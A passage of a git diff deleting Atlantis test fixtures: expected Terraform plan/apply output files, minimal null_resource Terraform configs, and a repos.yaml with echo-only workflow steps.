- ---- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * `atlantis apply` -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * `atlantis unlock` diff --git a/server/testfixtures/test-repos/modules-yaml/exp-output-apply-production.txt b/server/testfixtures/test-repos/modules-yaml/exp-output-apply-production.txt deleted file mode 100644 index 74ef084b01..0000000000 --- a/server/testfixtures/test-repos/modules-yaml/exp-output-apply-production.txt +++ /dev/null @@ -1,24 +0,0 @@ -Ran Apply for dir: `production` workspace: `default` - -
Show Output - -```diff -module.null.null_resource.this: Creating... -module.null.null_resource.this: Creation complete after *s [id=*******************] - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -var = production - -``` -
- diff --git a/server/testfixtures/test-repos/modules-yaml/exp-output-apply-staging.txt b/server/testfixtures/test-repos/modules-yaml/exp-output-apply-staging.txt deleted file mode 100644 index da1897d5a6..0000000000 --- a/server/testfixtures/test-repos/modules-yaml/exp-output-apply-staging.txt +++ /dev/null @@ -1,24 +0,0 @@ -Ran Apply for dir: `staging` workspace: `default` - -
Show Output - -```diff -module.null.null_resource.this: Creating... -module.null.null_resource.this: Creation complete after *s [id=*******************] - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -var = staging - -``` -
- diff --git a/server/testfixtures/test-repos/modules-yaml/exp-output-autoplan.txt b/server/testfixtures/test-repos/modules-yaml/exp-output-autoplan.txt deleted file mode 100644 index d6bf0de5b2..0000000000 --- a/server/testfixtures/test-repos/modules-yaml/exp-output-autoplan.txt +++ /dev/null @@ -1,65 +0,0 @@ -Ran Plan for 2 projects: - -1. dir: `staging` workspace: `default` -1. dir: `production` workspace: `default` - -### 1. dir: `staging` workspace: `default` -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # module.null.null_resource.this will be created -+ resource "null_resource" "this" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d staging` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d staging` -
- ---- -### 2. dir: `production` workspace: `default` -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # module.null.null_resource.this will be created -+ resource "null_resource" "this" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d production` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d production` -
- ---- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * `atlantis apply` -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * `atlantis unlock` diff --git a/server/testfixtures/test-repos/modules-yaml/exp-output-plan-production.txt b/server/testfixtures/test-repos/modules-yaml/exp-output-plan-production.txt deleted file mode 100644 index f08e2c50ae..0000000000 --- a/server/testfixtures/test-repos/modules-yaml/exp-output-plan-production.txt +++ /dev/null @@ -1,27 +0,0 @@ -Ran Plan for dir: `production` workspace: `default` -```diff -Refreshing Terraform state in-memory prior to plan... -The refreshed state will be used to calculate this plan, but will not be -persisted to local or remote state storage. - - ------------------------------------------------------------------------- - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: - + create - -Terraform will perform the following actions: - -+ module.null.null_resource.this - id: -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d production` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d production` - diff --git a/server/testfixtures/test-repos/modules-yaml/exp-output-plan-staging.txt b/server/testfixtures/test-repos/modules-yaml/exp-output-plan-staging.txt deleted file mode 100644 index de773736db..0000000000 --- a/server/testfixtures/test-repos/modules-yaml/exp-output-plan-staging.txt +++ /dev/null @@ -1,27 +0,0 @@ -Ran Plan for dir: `staging` workspace: `default` -```diff -Refreshing Terraform state in-memory prior to plan... -The refreshed state will be used to calculate this plan, but will not be -persisted to local or remote state storage. - - ------------------------------------------------------------------------- - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: - + create - -Terraform will perform the following actions: - -+ module.null.null_resource.this - id: -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d staging` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d staging` - diff --git a/server/testfixtures/test-repos/modules-yaml/modules/null/main.tf b/server/testfixtures/test-repos/modules-yaml/modules/null/main.tf deleted file mode 100644 index 14f6a189c1..0000000000 --- a/server/testfixtures/test-repos/modules-yaml/modules/null/main.tf +++ /dev/null @@ -1,10 +0,0 @@ -variable "var" {} -resource "null_resource" "this" { -} -output "var" { - value = "${var.var}" -} - -output "workspace" { - value = "${terraform.workspace}" -} diff --git a/server/testfixtures/test-repos/modules-yaml/production/main.tf b/server/testfixtures/test-repos/modules-yaml/production/main.tf deleted file mode 100644 index 94a103ffba..0000000000 --- a/server/testfixtures/test-repos/modules-yaml/production/main.tf +++ /dev/null @@ -1,7 +0,0 @@ -module "null" { - source = "../modules/null" - var = "production" -} -output "var" { - value = "${module.null.var}" -} \ No newline at end of file diff --git a/server/testfixtures/test-repos/modules-yaml/staging/main.tf b/server/testfixtures/test-repos/modules-yaml/staging/main.tf deleted file mode 100644 index 15fa81303a..0000000000 --- a/server/testfixtures/test-repos/modules-yaml/staging/main.tf +++ /dev/null @@ -1,7 +0,0 @@ -module "null" { - source = "../modules/null" - var = "staging" -} -output "var" { - value = "${module.null.var}" -} \ No newline at end of file diff --git a/server/testfixtures/test-repos/modules/exp-output-apply-production.txt b/server/testfixtures/test-repos/modules/exp-output-apply-production.txt deleted file mode 100644 index 74ef084b01..0000000000 --- a/server/testfixtures/test-repos/modules/exp-output-apply-production.txt +++ /dev/null @@ -1,24 +0,0 @@ -Ran Apply for dir: `production` workspace: `default` - -
Show Output - -```diff -module.null.null_resource.this: Creating... -module.null.null_resource.this: Creation complete after *s [id=*******************] - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -var = production - -``` -
- diff --git a/server/testfixtures/test-repos/modules/exp-output-apply-staging.txt b/server/testfixtures/test-repos/modules/exp-output-apply-staging.txt deleted file mode 100644 index da1897d5a6..0000000000 --- a/server/testfixtures/test-repos/modules/exp-output-apply-staging.txt +++ /dev/null @@ -1,24 +0,0 @@ -Ran Apply for dir: `staging` workspace: `default` - -
Show Output - -```diff -module.null.null_resource.this: Creating... -module.null.null_resource.this: Creation complete after *s [id=*******************] - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -var = staging - -``` -
- diff --git a/server/testfixtures/test-repos/modules/exp-output-autoplan-only-staging.txt b/server/testfixtures/test-repos/modules/exp-output-autoplan-only-staging.txt deleted file mode 100644 index ff6dc802d4..0000000000 --- a/server/testfixtures/test-repos/modules/exp-output-autoplan-only-staging.txt +++ /dev/null @@ -1,33 +0,0 @@ -Ran Plan for dir: `staging` workspace: `default` - -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # module.null.null_resource.this will be created -+ resource "null_resource" "this" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d staging` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d staging` -
- ---- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * `atlantis apply` -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * `atlantis unlock` diff --git a/server/testfixtures/test-repos/modules/exp-output-plan-production.txt b/server/testfixtures/test-repos/modules/exp-output-plan-production.txt deleted file mode 100644 index 0b6a2c522a..0000000000 --- a/server/testfixtures/test-repos/modules/exp-output-plan-production.txt +++ /dev/null @@ -1,33 +0,0 @@ -Ran Plan for dir: `production` workspace: `default` - -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # module.null.null_resource.this will be created -+ resource "null_resource" "this" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d production` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d production` -
- ---- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * `atlantis apply` -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * `atlantis unlock` diff --git a/server/testfixtures/test-repos/modules/exp-output-plan-staging.txt b/server/testfixtures/test-repos/modules/exp-output-plan-staging.txt deleted file mode 100644 index ff6dc802d4..0000000000 --- a/server/testfixtures/test-repos/modules/exp-output-plan-staging.txt +++ /dev/null @@ -1,33 +0,0 @@ -Ran Plan for dir: `staging` workspace: `default` - -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # module.null.null_resource.this will be created -+ resource "null_resource" "this" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d staging` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d staging` -
- ---- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * `atlantis apply` -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * `atlantis unlock` diff --git a/server/testfixtures/test-repos/modules/modules/null/main.tf b/server/testfixtures/test-repos/modules/modules/null/main.tf deleted file mode 100644 index 14f6a189c1..0000000000 --- a/server/testfixtures/test-repos/modules/modules/null/main.tf +++ /dev/null @@ -1,10 +0,0 @@ -variable "var" {} -resource "null_resource" "this" { -} -output "var" { - value = "${var.var}" -} - -output "workspace" { - value = "${terraform.workspace}" -} diff --git a/server/testfixtures/test-repos/modules/production/main.tf b/server/testfixtures/test-repos/modules/production/main.tf deleted file mode 100644 index 94a103ffba..0000000000 --- a/server/testfixtures/test-repos/modules/production/main.tf +++ /dev/null @@ -1,7 +0,0 @@ -module "null" { - source = "../modules/null" - var = "production" -} -output "var" { - value = "${module.null.var}" -} \ No newline at end of file diff --git a/server/testfixtures/test-repos/modules/staging/main.tf b/server/testfixtures/test-repos/modules/staging/main.tf deleted file mode 100644 index 15fa81303a..0000000000 --- a/server/testfixtures/test-repos/modules/staging/main.tf +++ /dev/null @@ -1,7 +0,0 @@ -module "null" { - source = "../modules/null" - var = "staging" -} -output "var" { - value = "${module.null.var}" -} \ No newline at end of file diff --git a/server/testfixtures/test-repos/server-side-cfg/exp-output-apply-default-workspace.txt b/server/testfixtures/test-repos/server-side-cfg/exp-output-apply-default-workspace.txt deleted file mode 100644 index dc6833899e..0000000000 --- a/server/testfixtures/test-repos/server-side-cfg/exp-output-apply-default-workspace.txt +++ /dev/null @@ -1,24 +0,0 @@ -Ran Apply for dir: `.` workspace: `default` - -
Show Output - -```diff -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -workspace = default - -``` -
- diff --git a/server/testfixtures/test-repos/server-side-cfg/exp-output-apply-staging-workspace.txt b/server/testfixtures/test-repos/server-side-cfg/exp-output-apply-staging-workspace.txt deleted file mode 100644 index 4df252bfcb..0000000000 --- a/server/testfixtures/test-repos/server-side-cfg/exp-output-apply-staging-workspace.txt +++ /dev/null @@ -1,24 +0,0 @@ -Ran Apply for dir: `.` workspace: `staging` - -
Show Output - -```diff -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -workspace = staging - -``` -
- diff --git a/server/testfixtures/test-repos/server-side-cfg/exp-output-autoplan.txt b/server/testfixtures/test-repos/server-side-cfg/exp-output-autoplan.txt deleted file mode 100644 index dcf03dcc1d..0000000000 --- a/server/testfixtures/test-repos/server-side-cfg/exp-output-autoplan.txt +++ /dev/null @@ -1,71 +0,0 @@ -Ran Plan for 2 projects: - -1. dir: `.` workspace: `default` -1. dir: `.` workspace: `staging` - -### 1. dir: `.` workspace: `default` -
Show Output - -```diff -preinit custom - - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.simple[0] will be created -+ resource "null_resource" "simple" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -postplan custom - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d .` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d .` -
- ---- -### 2. dir: `.` workspace: `staging` -
Show Output - -```diff -preinit staging - - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.simple[0] will be created -+ resource "null_resource" "simple" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -w staging` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -w staging` -
- ---- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * `atlantis apply` -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * `atlantis unlock` diff --git a/server/testfixtures/test-repos/server-side-cfg/main.tf b/server/testfixtures/test-repos/server-side-cfg/main.tf deleted file mode 100644 index d126e71bb8..0000000000 --- a/server/testfixtures/test-repos/server-side-cfg/main.tf +++ /dev/null @@ -1,7 +0,0 @@ -resource "null_resource" "simple" { - count = 1 -} - -output "workspace" { - value = "${terraform.workspace}" -} diff --git a/server/testfixtures/test-repos/server-side-cfg/repos.yaml b/server/testfixtures/test-repos/server-side-cfg/repos.yaml deleted file mode 100644 index 28e38d9121..0000000000 --- a/server/testfixtures/test-repos/server-side-cfg/repos.yaml +++ /dev/null @@ -1,18 +0,0 @@ -repos: -- id: /.*/ - workflow: custom - allowed_overrides: [workflow] -workflows: - custom: - plan: - steps: - - run: echo preinit custom - - init - - plan - - run: echo postplan custom - staging: - plan: - steps: - - run: echo preinit staging - - init - - plan diff --git a/server/testfixtures/test-repos/simple-yaml/exp-output-apply-all.txt b/server/testfixtures/test-repos/simple-yaml/exp-output-apply-all.txt deleted file mode 100644 index 04650e8e2d..0000000000 --- a/server/testfixtures/test-repos/simple-yaml/exp-output-apply-all.txt +++ /dev/null @@ -1,60 +0,0 @@ -Ran Apply for 2 projects: - -1. dir: `.` workspace: `default` -1. dir: `.` workspace: `staging` - -### 1. dir: `.` workspace: `default` -
Show Output - -```diff -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -var = fromconfig -workspace = default - -``` -
- ---- -### 2. dir: `.` workspace: `staging` -
Show Output - -```diff -preapply - -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -var = fromfile -workspace = staging - -postapply - -``` -
- ---- - diff --git a/server/testfixtures/test-repos/simple-yaml/exp-output-apply-default.txt b/server/testfixtures/test-repos/simple-yaml/exp-output-apply-default.txt deleted file mode 100644 index b1cf7d000b..0000000000 --- a/server/testfixtures/test-repos/simple-yaml/exp-output-apply-default.txt +++ /dev/null @@ -1,25 +0,0 @@ -Ran Apply for dir: `.` workspace: `default` - -
Show Output - -```diff -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -var = fromconfig -workspace = default - -``` -
- diff --git a/server/testfixtures/test-repos/simple-yaml/exp-output-apply-staging.txt b/server/testfixtures/test-repos/simple-yaml/exp-output-apply-staging.txt deleted file mode 100644 index e95937a713..0000000000 --- a/server/testfixtures/test-repos/simple-yaml/exp-output-apply-staging.txt +++ /dev/null @@ -1,29 +0,0 @@ -Ran Apply for dir: `.` workspace: `staging` - -
Show Output - -```diff -preapply - -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 1 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -var = fromfile -workspace = staging - -postapply - -``` -
- diff --git a/server/testfixtures/test-repos/simple-yaml/exp-output-autoplan.txt b/server/testfixtures/test-repos/simple-yaml/exp-output-autoplan.txt deleted file mode 100644 index 2f4c57e87d..0000000000 --- a/server/testfixtures/test-repos/simple-yaml/exp-output-autoplan.txt +++ /dev/null @@ -1,69 +0,0 @@ -Ran Plan for 2 projects: - -1. dir: `.` workspace: `default` -1. dir: `.` workspace: `staging` - -### 1. dir: `.` workspace: `default` -
Show Output - -```diff -preinit - - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.simple[0] will be created -+ resource "null_resource" "simple" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -postplan - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d .` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d .` -
- ---- -### 2. dir: `.` workspace: `staging` -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.simple[0] will be created -+ resource "null_resource" "simple" { - + id = (known after apply) - } - -Plan: 1 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -w staging` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -w staging` -
- ---- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * `atlantis apply` -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * `atlantis unlock` diff --git a/server/testfixtures/test-repos/simple-yaml/main.tf b/server/testfixtures/test-repos/simple-yaml/main.tf deleted file mode 100644 index 39f891a7b0..0000000000 --- a/server/testfixtures/test-repos/simple-yaml/main.tf +++ /dev/null @@ -1,15 +0,0 @@ -resource "null_resource" "simple" { - count = "1" -} - -variable "var" { - default = "default" -} - -output "var" { - value = "${var.var}" -} - -output "workspace" { - value = "${terraform.workspace}" -} \ No newline at end of file diff --git a/server/testfixtures/test-repos/simple/exp-output-apply-var-all.txt b/server/testfixtures/test-repos/simple/exp-output-apply-var-all.txt deleted file mode 100644 index 3f7608772d..0000000000 --- a/server/testfixtures/test-repos/simple/exp-output-apply-var-all.txt +++ /dev/null @@ -1,64 +0,0 @@ -Ran Apply for 2 projects: - -1. dir: `.` workspace: `default` -1. dir: `.` workspace: `new_workspace` - -### 1. dir: `.` workspace: `default` -
Show Output - -```diff -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 3 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -var = default_workspace -workspace = default - -``` -
- ---- -### 2. dir: `.` workspace: `new_workspace` -
Show Output - -```diff -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 3 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -var = new_workspace -workspace = new_workspace - -``` -
- ---- - diff --git a/server/testfixtures/test-repos/simple/exp-output-apply-var-default-workspace.txt b/server/testfixtures/test-repos/simple/exp-output-apply-var-default-workspace.txt deleted file mode 100644 index a6e2b9cc49..0000000000 --- a/server/testfixtures/test-repos/simple/exp-output-apply-var-default-workspace.txt +++ /dev/null @@ -1,29 +0,0 @@ -Ran Apply for dir: `.` workspace: `default` - -
Show Output - -```diff -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 3 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -var = default_workspace -workspace = default - -``` -
- diff --git a/server/testfixtures/test-repos/simple/exp-output-apply-var-new-workspace.txt b/server/testfixtures/test-repos/simple/exp-output-apply-var-new-workspace.txt deleted file mode 100644 index 131f651bc2..0000000000 --- a/server/testfixtures/test-repos/simple/exp-output-apply-var-new-workspace.txt +++ /dev/null @@ -1,29 +0,0 @@ -Ran Apply for dir: `.` workspace: `new_workspace` - -
Show Output - -```diff -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 3 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -var = new_workspace -workspace = new_workspace - -``` -
- diff --git a/server/testfixtures/test-repos/simple/exp-output-apply-var.txt b/server/testfixtures/test-repos/simple/exp-output-apply-var.txt deleted file mode 100644 index 1d62accca9..0000000000 --- a/server/testfixtures/test-repos/simple/exp-output-apply-var.txt +++ /dev/null @@ -1,29 +0,0 @@ -Ran Apply for dir: `.` workspace: `default` - -
Show Output - -```diff -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 3 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -var = overridden -workspace = default - -``` -
- diff --git a/server/testfixtures/test-repos/simple/exp-output-apply.txt b/server/testfixtures/test-repos/simple/exp-output-apply.txt deleted file mode 100644 index 88c40e056d..0000000000 --- a/server/testfixtures/test-repos/simple/exp-output-apply.txt +++ /dev/null @@ -1,29 +0,0 @@ -Ran Apply for dir: `.` workspace: `default` - -
Show Output - -```diff -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: -null_resource.simple: - -Apply complete! Resources: 3 added, 0 changed, 0 destroyed. - -The state of your infrastructure has been saved to the path -below. This state is required to modify and destroy your -infrastructure, so keep it safe. To inspect the complete state -use the `terraform show` command. - -State path: terraform.tfstate - -Outputs: - -var = default -workspace = default - -``` -
- diff --git a/server/testfixtures/test-repos/simple/exp-output-atlantis-plan-new-workspace.txt b/server/testfixtures/test-repos/simple/exp-output-atlantis-plan-new-workspace.txt deleted file mode 100644 index f65d52ded4..0000000000 --- a/server/testfixtures/test-repos/simple/exp-output-atlantis-plan-new-workspace.txt +++ /dev/null @@ -1,43 +0,0 @@ -Ran Plan for dir: `.` workspace: `new_workspace` - -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.simple[0] will be created -+ resource "null_resource" "simple" { - + id = (known after apply) - } - - # null_resource.simple2 will be created -+ resource "null_resource" "simple2" { - + id = (known after apply) - } - - # null_resource.simple3 will be created -+ resource "null_resource" "simple3" { - + id = (known after apply) - } - -Plan: 3 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -w new_workspace` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -w new_workspace -- -var var=new_workspace` -
- ---- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * `atlantis apply` -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * `atlantis unlock` diff --git a/server/testfixtures/test-repos/simple/exp-output-atlantis-plan-var-overridden.txt b/server/testfixtures/test-repos/simple/exp-output-atlantis-plan-var-overridden.txt deleted file mode 100644 index 35edc4838b..0000000000 --- a/server/testfixtures/test-repos/simple/exp-output-atlantis-plan-var-overridden.txt +++ /dev/null @@ -1,43 +0,0 @@ -Ran Plan for dir: `.` workspace: `default` - -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.simple[0] will be created -+ resource "null_resource" "simple" { - + id = (known after apply) - } - - # null_resource.simple2 will be created -+ resource "null_resource" "simple2" { - + id = (known after apply) - } - - # null_resource.simple3 will be created -+ resource "null_resource" "simple3" { - + id = (known after apply) - } - -Plan: 3 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d .` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d . -- -var var=overridden` -
- ---- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * `atlantis apply` -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * `atlantis unlock` diff --git a/server/testfixtures/test-repos/simple/exp-output-atlantis-plan.txt b/server/testfixtures/test-repos/simple/exp-output-atlantis-plan.txt deleted file mode 100644 index 4d25f04581..0000000000 --- a/server/testfixtures/test-repos/simple/exp-output-atlantis-plan.txt +++ /dev/null @@ -1,43 +0,0 @@ -Ran Plan for dir: `.` workspace: `default` - -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.simple[0] will be created -+ resource "null_resource" "simple" { - + id = (known after apply) - } - - # null_resource.simple2 will be created -+ resource "null_resource" "simple2" { - + id = (known after apply) - } - - # null_resource.simple3 will be created -+ resource "null_resource" "simple3" { - + id = (known after apply) - } - -Plan: 3 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d .` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d . -- -var var=default_workspace` -
- ---- -* :fast_forward: To **apply** all unapplied plans from this pull request, comment: - * `atlantis apply` -* :put_litter_in_its_place: To delete all plans and locks for the PR, comment: - * `atlantis unlock` diff --git a/server/testfixtures/test-repos/simple/exp-output-autoplan.txt b/server/testfixtures/test-repos/simple/exp-output-autoplan.txt deleted file mode 100644 index 88124493d5..0000000000 --- a/server/testfixtures/test-repos/simple/exp-output-autoplan.txt +++ /dev/null @@ -1,43 +0,0 @@ -Ran Plan for dir: `.` workspace: `default` - -
Show Output - -```diff - -An execution plan has been generated and is shown below. -Resource actions are indicated with the following symbols: -+ create - -Terraform will perform the following actions: - - # null_resource.simple[0] will be created -+ resource "null_resource" "simple" { - + id = (known after apply) - } - - # null_resource.simple2 will be created -+ resource "null_resource" "simple2" { - + id = (known after apply) - } - - # null_resource.simple3 will be created -+ resource "null_resource" "simple3" { - + id = (known after apply) - } - -Plan: 3 to add, 0 to change, 0 to destroy. - -``` - -* :arrow_forward: To **apply** this plan, comment: - * `atlantis apply -d .` -* :put_litter_in_its_place: To **delete** this plan click [here](lock-url) -* :repeat: To **plan** this project again, comment: - * `atlantis plan -d .` -
